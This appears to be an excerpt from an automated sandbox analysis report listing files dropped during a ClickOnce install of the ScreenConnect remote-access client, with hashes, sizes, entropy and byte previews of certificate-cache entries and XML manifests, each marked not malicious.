SSDEEP:	24:nIGWnSIGWnSGc9VIyy0KuiUQ+7n0TCDZJCCAyuIqwmCFUZnPQ1LSdT:nIL7LJSRQ+QgAyuxwfynPQmR
MD5:	78F2FCAA601F2FB4EBC937BA532E7549
SHA1:	DDFB16CD4931C973A2037D3FC83A4D7D775D05E4
SHA-256:	552F7BDCF1A7AF9E6CE672017F4F12ABF77240C78E761AC203D1D9D20AC89988
SHA-512:	BCAD73A7A5AFB7120549DD54BA1F15C551AE24C7181F008392065D1ED006E6FA4FA5A60538D52461B15A12F5292049E929CFFDE15CC400DEC9CDFCA0B36A68DD
Malicious:	false
Preview:	0...0..x..........W..!2.9...wu\0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40...130801120000Z..380115120000Z0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40.."0....H.............0..........sh..]J<0"0i3..%..!=..Y..).=X.v..{....0....8..V.m...y....._..<R.R....~...W.YUr.h.p..u.js2...D.......t;mq.-... .. .c)-..^N..!a.4...^.[......4@_.zf.w.H.fWW.TX..+.O.0.V..{]..O^.5.1..^......@.y.x...j.8.....7...}...>..p.U.A2...sn..\|!L....u]xf.:1D.3@...ZI...g.'..O9..X..$\F.d..i.v.v=Y]Bv...izH....f.t..K...c....:.=...E%...D.+~....am.3...K...}....!........p,A`..c.D..vb~.....d.3....C....w.....!..T)%.l..RQGt.&..Au.z._.?..A..[..P.1..r."..\|Lu?c.!_. Qko....O..E_. ........~.&...i/..-............B0@0...U.......0....0...U...........0...U..........q]dL..g?....O0....H..............a.}.l.........dh.V.w.p...J...x\.._...)V.6I]Dc...f.#.=y.mk.T..<.C@..P.R..;...ik.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.2463313982716158
Encrypted:	false
SSDEEP:	6:kKTncsN+SkQlPlEGYRMY9z+s3Ql2DUevat:bcTkPlE99SCQl2DUevat
MD5:	FB4D9413322593FF7DC7B16D98B7CFF4
SHA1:	A136E30833FFBECF1BE7564B42B40A0945599519
SHA-256:	3D14AA4D6B034108D10E8E7D91877432851C11E6D539A0649CB0DD51922C62D9
SHA-512:	11AD5BA2E9491F433B8F6BC66EAFA98E6E0C4CC9CA679E294D5F22CAF01DCECA00D16554F86BE76C1FE14249FE9A0546661C734788A1E34F44CA010354881F9C
Malicious:	false
Preview:	p...... ........ceCH.1..(....................................................... .........p.........$.....(=........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2371973337041244
Encrypted:	false
SSDEEP:	6:kKTpF9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:bpsDImsLNkPlE99SNxAhUe/3
MD5:	BE5429D9FBCE03379498A0A3B458F21C
SHA1:	14A7DF9EF7B8D2A5EE5915CC6B78DFBAAFB186E3
SHA-256:	3EC75732DFC218592FF9A8C4095465841037715DC4227B7F154376B1AB968B06
SHA-512:	3A0C4CF3D53804C259E3E3E3F7A83B5CC19FBD8F66E2AF9982684C44EA3AB38AC3A4E74F73FE369497C40498FCC5639FC19803D3F9D43C43AE2D23804595371E
Malicious:	false
Preview:	p...... ...........I.1..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C56C4404C4DEF0DC88E5FCD9F09CB2F1

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.196114854714615
Encrypted:	false
SSDEEP:	6:kKfZdzNcalgRAOAUSW0P3PeXJUwh8lmi3Y:3utWOxSW0P3PeXJUZY
MD5:	8D7F7CB9E7EDB3BE2A41321E2EE485F7
SHA1:	D6DA99DB871F4D19442A4875C82F06E9BE426043
SHA-256:	245FFDE4C819D673D73E0B79AE08A09A520ADF6E4746A0DA724A5086BF808B20
SHA-512:	6500549BF3A1FBB73D9F5FA1B8BDF92D3BBE6437153AE230715947D00013072723A0F960D5ABF50751D178E387C4A3319711350940F5E0531F3476BE681A6894
Malicious:	false
Preview:	p...... .........S.I.1..(....................................................... ........}.-@@......................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.T.r.u.s.t.e.d.G.4.C.o.d.e.S.i.g.n.i.n.g.R.S.A.4.0.9.6.S.H.A.3.8.4.2.0.2.1.C.A.1...c.r.t...".6.0.9.0.3.0.2.2.-.6.b.4."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	412
Entropy (8bit):	3.9777437902841712
Encrypted:	false
SSDEEP:	6:kKEcEPlph1tsMyfOAUMivhClroFfJSUm2SQwItJqB3UgPSgakZdPolRMnOlAkrn:ihvymxMiv8sFBSfamB3rbFURMOlAkr
MD5:	1A4845B4C056E7CD9E4B1ECBF0D20FD6
SHA1:	5F8EAB81297E1C521124778DF00D0B7C88F4FA87
SHA-256:	0C7184EAD269613738A0E35BD33393CE83E2B21DFC90A642A3715A7F25929A95
SHA-512:	CC1C945541B3FB580F5722206AF87CF83DB9DB52CA42F0EE3701025B504FADB16C8E88ACDBEE4B461DC3C79556D53670AC57DF68DB43D044055A489359B4BC9A
Malicious:	false
Preview:	p...... ....(...bk.I.1..(...................D1......6......................6.. ..........<.1.. ...................h.t.t.p.:././.o.c.s.p...d.i.g.i.c.e.r.t...c.o.m./.M.F.E.w.T.z.B.N.M.E.s.w.S.T.A.J.B.g.U.r.D.g.M.C.G.g.U.A.B.B.T.f.I.s.%.2.B.L.j.D.t.G.w.Q.0.9.X.E.B.1.Y.e.q.%.2.B.t.X.%.2.B.B.g.Q.Q.U.7.N.f.j.g.t.J.x.X.W.R.M.3.y.5.n.P.%.2.B.e.6.m.K.4.c.D.0.8.C.E.A.i.t.Q.L.J.g.0.p.x.M.n.1.7.N.q.b.2.T.r.t.k.%.3.D...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2E248BEDDBB2D85122423C41028BFD4

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.052898866971229
Encrypted:	false
SSDEEP:	6:kKSLDcJgjcalgRAOAUSW0PTKDXMOXISKlUp:aLYS4tWOxSW0PAMsZp
MD5:	F219690347CE07629A39F000F541E8A3
SHA1:	358F6081EA086DA872E1FFA6D83C93E8BF834CC4
SHA-256:	4CAD46EF05393BFFAC2472418791EB62AC8FC6D8CA7E7BC7E721C21B3D680B9F
SHA-512:	6DD5F56A709EE1379542566D888B7EA47CA6F66D4BF430E76321DD6ED5BB4F2E733DE74ACFA85C379093C8B65D279577902C16031F070F7FC07C707E2B570632
Malicious:	false
Preview:	p...... ....l....K.H.1..(....................................................... ............n......................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.T.r.u.s.t.e.d.R.o.o.t.G.4...c.r.t...".5.a.2.8.6.4.1.7.-.5.9.4."...

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	25496
Entropy (8bit):	5.618626919409485
Encrypted:	false
SSDEEP:	384:GlqSaSVGo26tX9DkX9R/QPIBM7YguPkuaCH7kLgOv0Tcu/:GshC26tX9DkX9R/QPI+0gu8uxHOgOvIn
MD5:	9BE0037102B52A0D8CB9FBA4FEDDE2E7
SHA1:	558C6516B10F1AD050D6517B814E920D80F725BA
SHA-256:	771EFA1AD593419E534C9E197CA46C11170CE9EBA7C503CBEFF3E6788CEB99C6
SHA-512:	8B8C9749A3E43D6EF124ADDAB5AAD525795CCDACE1EC40E4B1031930918C9E6A02517EF09567B22B60E625ED3CD38CEBE9C279520C84760ED864DA86F9817EE0
Malicious:	false
Preview:	PcmH........_V.SV...f.......!...T...........................e...?....<.g..J.\|r,..`P....}'.d.........8........R....................U.K...W.....U..c...................'-........s".I...R.....$...........3..L.G.......S..{.........6.......'~.x.h.....[...........5...M...8..........~9......-.a:...j.......;...K*...!.<......6..A....y.].m..C....=4.....E....&..{.!.G....qz...#aI...@.R....K....u..IV..N......D..O.....E..X.R...O.&r..VzU......3LD.SY...[s.T..<\...........`.......=...P...S...V...Z...].......,.......L.......T.......\.......`.......\|...........................................@.......0...........<.......T.......h.......\|...0.......................................0...........<.......T.......h.......\|...0.......................................0...........8.......L.......`...0...l.......................................................................,.......8.......L.......`.......l...........................................................................................@...

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (10074), with CRLF line terminators
Category:	dropped
Size (bytes):	17866
Entropy (8bit):	5.954687824833028
Encrypted:	false
SSDEEP:	384:ze1oEQwK45aMUf6FX9hJX9FX9R/QPIYM7Y7:zd6FX9hJX9FX9R/QPIN07
MD5:	1DC9DD74A43D10C5F1EAE50D76856F36
SHA1:	E4080B055DD3A290DB546B90BCF6C5593FF34F6D
SHA-256:	291FA1F674BE3CA15CFBAB6F72ED1033B5DD63BCB4AEA7FBC79FDCB6DD97AC0A
SHA-512:	91E8A1A1AEA08E0D3CF20838B92F75FA7A5F5DACA9AEAD5AB7013D267D25D4BF3D291AF2CA0CCE8B73027D9717157C2C915F2060B2262BAC753BBC159055DBDF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <asmv1:assemblyIdentity name="ScreenConnect.WindowsClient.exe" version="24.2.10.8991" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" type="win32" />.. <application />.. <entryPoint>.. <assemblyIdentity name="ScreenConnect.WindowsClient" version="24.2.10.8991" publicKeyToken="4B14C015C87C1AD8" language="neutral" processorArchitecture="msil" />.. <commandLine file="ScreenConnect.WindowsClient.exe" paramet

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	3452
Entropy (8bit):	4.343561064744891
Encrypted:	false
SSDEEP:	48:XIEfBeF7lWuWWuLg0e6S+9owQX7g27mL438ciUcVM8Aw+9t6hIYX:XJ3uWWmeV+WwQXlmL4MckVM8Aw+OhIYX
MD5:	06B4EDDC7E4423E0A311EAF7798E8C18
SHA1:	D06E37356BD4AE50056FC650550A3CFE5F9E41B3
SHA-256:	0DBEB7DAA0C7F70D594F5CF294D3C3EB88E4C0F25D7174077F511C43F4D90A41
SHA-512:	921BD5BD362F5CF609D43230270789516BBA10911D0E4EB56FB2A6E3A59B5AB365F2E4C2EEC10250836C6DB64B63584AB5DBF357CF23AA300176D7A09EC63C4A
Malicious:	false
Preview:	PcmH..........?v...#...(.......T..........................."........<.g..J.\|r,..`P..............E..X......U..c...................'-........s".I...R.....$...........3..L.G.....'~.x.h.................z..w.....[~31.X....s)..;$D......B(.........f..VC.........;..........................0...@...0...p...0.......0...................................0.......4.......D.......T.......\...4...h...........P...\...........@...................................,...(...4.......\.......d.......x...(.......................(.......................(...........$...4...,.......`...................................................................................................................................................................................................nameScreenConnect.Core%%processorArchitecture%%%msilpublicKeyToken%%4B14C015C87C1AD8version%24.2.10.8991....................................................MdHd............D...........MdSp(...$...(...(...#............... urn:schemas

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.1303806593325705
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onR+geP0Au2vSkcVSkcMKzpdciSkTo:3FYZ8h9o4gI0A3GVETDTo
MD5:	2343364BAC7A96205EB525ADDC4BBFD1
SHA1:	9CBA0033ACB4AF447772CD826EC3A9C68D6A3CCC
SHA-256:	E9D6A0964FBFB38132A07425F82C6397052013E43FEEDCDC963A58B6FB9148E7
SHA-512:	AB4D01B599F89FE51B0FFE58FC82E9BA6D2B1225DBE8A3CE98F71DCE0405E2521FCA7047974BAFB6255E675CD9B3D8087D645B7AD33D2C6B47B02B7982076710
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Core" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Core.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System.Configuration" publicKeyToken="b03f5f7f11d50a3a" version="2.0.0.0" />.. </dependentAssem

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	5260
Entropy (8bit):	4.212169089585271
Encrypted:	false
SSDEEP:	96:2Nq6R84TeV+Ww7mk9O43jYHlIgBXlnzkay3mhhwnjIbm:iR84UJC9tUHlXBXtIESjd
MD5:	877C9052B118D2F154A633D3F00759FF
SHA1:	2A005EADA6B9C8B8CB033FB95BB01316BFF08787
SHA-256:	571BF9FBFD2000F7B051A93B5B5724E53B4E1D58273D5699AE0D711AAC892F11
SHA-512:	1C714509A457D494CA5068093E379722877F5CCC1CE9484EE4FA9AC080A0A34976614932D782FE3DE9A553B6B79287095658AD1F46F09CBF47BEE4DC213B3FA2
Malicious:	false
Preview:	PcmH...........C..ws4...t.......T...............P...........3........<.g..J.\|r,..`P............O.&r..Vz.....U..c...................'-........s".I...R.....$...........3..L.G.....[.......................z..w.....[~31.X....C.........y..&..d......B(.........^.ie...u"...F.....Ey%.....E..X.(...s".I...R)....+.`...m,......;../............... ...#...&...*...-...0...0.......0...D...0...t...0.......0.......0.......0...4...0...d...................................................................4...........4...P...........l...@.......................................(........... .......(...(...<.......d.......l.......\|...(.......................(.......................(...........8.......@.......T...(...d...................(.......................(...............d...........p.......................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1982
Entropy (8bit):	5.057585371364542
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRbggeP0AuEvSkcyMuscVSkcHSkcf5bdcadccdcckdTo:3FYZ8h9oygI0AbHMrGQAXRTFgTo
MD5:	50FC8E2B16CC5920B0536C1F5DD4AEAE
SHA1:	6060C72B1A84B8BE7BAC2ACC9C1CEBD95736F3D6
SHA-256:	95855EF8E55A75B5B0B17207F8B4BA9370CD1E5B04BCD56976973FD4E731454A
SHA-512:	BD40E38CAC8203D8E33F0F7E50E2CAB9CFB116894D6CA2D2D3D369E277D93CDA45A31E8345AFC3039B20DD4118DC8296211BADFFA3F1B81E10D14298DD842D05
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Windows" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Windows.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </depen

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	6588
Entropy (8bit):	4.114943993628971
Encrypted:	false
SSDEEP:	96:ZMmx9eV+WwwU8WpZ2LRheuMl2UfdVaMsoksJqi/D5:dxCJwpZ2LRhyl5dVzGw75
MD5:	7AD30FB645AAC6571566C4504E71C836
SHA1:	67666FB4A2B78262A6721B8491A7F1AA1CDC0208
SHA-256:	ED5B7DC7B05F91743B32CCE803C805751FF22E3C039E776FDF3E70E5130E6106
SHA-512:	0195CA68931AC579A94EF694EB342E20F12FD982CDFF6AFC0D7F6486EA49B78FA57F2D5ACDD89F3F5C2B35F1603A22C1C4AB0C11CC2829931EA8239BE34492FB
Malicious:	false
Preview:	PcmH..........j..w@...........T...............t...........?........<.g..J.\|r,..`P.............U.K...W.....U..c...................'-........s".I...R.....$...........3..L.G.........}'.d................z..w.....[~31.X....y..&..d......B(.........C....."...^.ie...u%...[s.T..<(...s".I...R)...F.....Ey,.....E..X./...f..VC..2...O.&r..Vz5......;..8.....V....X;........... ...#...&...*...-...0...3...6...9...<...0.......0.......0.......0...4...0...d...0.......0.......0.......0...$...0...T...0.......................................................................4...$.......X...P...X...........@........................... .......0...(...8.......`.......h.......x...(.......................(.......................(...........8.......@.......T...(...d...................(.......................(.......................(...$.......L.......T...(...l...................(.......................(...................................................................................................

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2573
Entropy (8bit):	5.026361555169168
Encrypted:	false
SSDEEP:	48:3FYZ8h9o5gI0AsHMrAXQ3MrTMrRGTDBTo:1YiW4AjEvEJ
MD5:	3133DE245D1C278C1C423A5E92AF63B6
SHA1:	D75C7D2F1E6B49A43B2F879F6EF06A00208EB6DC
SHA-256:	61578953C28272D15E8DB5FD1CFFB26E7E16B52ADA7B1B41416232AE340002B7
SHA-512:	B22D4EC1D99FB6668579FA91E70C182BEC27F2E6B4FF36223A018A066D550F4E90AAC3DFFD8C314E0D99B9F67447613CA011F384F693C431A7726CE0665D7647
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.WindowsClient" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.WindowsClient.exe" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System.Drawing" publicKeyToken="b03f5f7f11d50a3a" version="2.0.

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	3032
Entropy (8bit):	4.873270947085789
Encrypted:	false
SSDEEP:	48:0RMQScRgFe6S+9oww7g47BI7EuqSGzhvVDvxLi0nwbb:aXScEeV+Wwwni7npGjD5LvnEb
MD5:	9B7AF32FAFD09158C2C0A3D44898AB68
SHA1:	ED56F417ACC794E55BD9B8424D7D49A0FB9006D4
SHA-256:	957A8647E1C2388DD78F4D50AA091EF26FC22B19FB70BB66C48AE0ADAB1D1264
SHA-512:	E1D66F81DDFE70549464E87FFA5E71CB455D206708F7ADA11CE4C2B1245D2AD1CFE184B6BAA6E687B2818A8601BBA597295A49BEDE3BDB35929E42A8B6EF7BA6
Malicious:	false
Preview:	PcmH............H.............T....................................<.g..J.\|r,..`P............[s.T..<.....U..c...................'-........s".I...R.....$...........3..L.G.......S..{..................z..w.....[~31.X......E..X.....s".I...R.......;......................0.......0...@...0...p...................................................................4...........<...P...........P...@...h...................................(...............................(...,.......T.......\...(...d...........(...............................................................................................................................................................nameScreenConnect.ClientprocessorArchitecture%%%msilpublicKeyToken%%4B14C015C87C1AD8version%24.2.10.8991....................................................MdHd............<...........MdSp ...$....... ...".............Bi urn:schemas-microsoft-com:asm.v1.assembly.xmlns.1.0.manifestVersion urn:schemas-microsoft-com:asm.v2.asmv2)

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.147328807370198
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRigeP0AuWvSkcyMuscVSkTo:3FYZ8h9oYgI0AHHMrGTo
MD5:	2EA1AC1E39B8029AA1D1CEBB1079C706
SHA1:	5788C00093D358F8B3D8A98B0BEF5D0703031E3F
SHA-256:	8965728D1E348834E3F1E2502061DFB9DB41478ACB719FE474FA2969078866E7
SHA-512:	6B2A8AC25BBFE4D1EC7B9A9AF8FE7E6F92C39097BCFD7E9E9BE070E1A56718EBEFFFA5B24688754724EDBFFA8C96DCFCAA0C86CC849A203C1F5423E920E64566
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Client" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Client.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </depende

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..tion_25b0fbb6ef7eb094_0018.0002_none_399c0f24bfe6e975.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	14612
Entropy (8bit):	5.714277081748387
Encrypted:	false
SSDEEP:	192:LWh4+In9q5s6VHoY8s8oXN8s8oTN2x2QPIlFDLhEDh7BqWoDOs:LWA9qS6VTX9dX9R/QPIBM7YDb
MD5:	60A0F82E8B95175C12A8EEBEBBE27DBF
SHA1:	990A96ECDA8822D577E5283DF95FC0A9AD38B2A3
SHA-256:	FC28D6A4B187E635B7438C2CE9CB64257FC8D843187AAF76E015F1DB453F4100
SHA-512:	66CEF0946F25E515811844734A1B51079ED55D430715F982DE8BEC9A7FEA839FF6758D91AD3CF49AA6A53EF467CCF72CDD13788E82E7F0DE0238B1D784FECE17
Malicious:	false
Preview:	PcmH........~..x.I.$...@.......T...............8...........#........<.g..J.\|r,..`PF...}&............Z.....)....E......x...\......=+.p.......I\t.\..>................j.K...6.....U..c...................'-...........-.a.....$...........3..L.G..........8........R...........}'.d....j...........K*...!.................`...........................0...................................................(.......@.......P.......T...'...X...................................................4................3......P....7......@8......H8......P8......p8......t8..L...\|8.......8.......8.......8.......8.......8..ScreenConnect.Client.manifest%%%....]...Tk....Y?.Om.._.............-........................E......................................4.0.30319%%%Client%%4.0%ScreenConnect Software%%ScreenConnect Client....................................P.......nameScreenConnect.WindowsClient.application%processorArchitecture%%%msilpublicKeyToken%%25b0fbb6ef7eb094version%24.2.10.8991........................

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..tion_25b0fbb6ef7eb094_0018.0002_none_399c0f24bfe6e975.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (63847), with CRLF line terminators
Category:	dropped
Size (bytes):	117980
Entropy (8bit):	5.585720273564656
Encrypted:	false
SSDEEP:	3072:0aNIcT51/FXvMVNWfCXq9ymSm2o9HuzhJOvP:0FcfiVI8mt8vOvP
MD5:	4E152D84C20AB6330FF0CF47A9AF7C6D
SHA1:	018F32D833124056FCCFC200318542687D0E5565
SHA-256:	5668723C31F6726947DFEDA324B26D27F7E899647C22A4B1B2BEA935BA8A6B10
SHA-512:	2F3F6B397072B795C74C44F19012483E2785DDEE5A7F5D7E38C566EBC9A94AE084504061F697DB714B933B79824CBC6B08B7718536A19FA21D11AD8D0F8AFB79
Malicious:	false
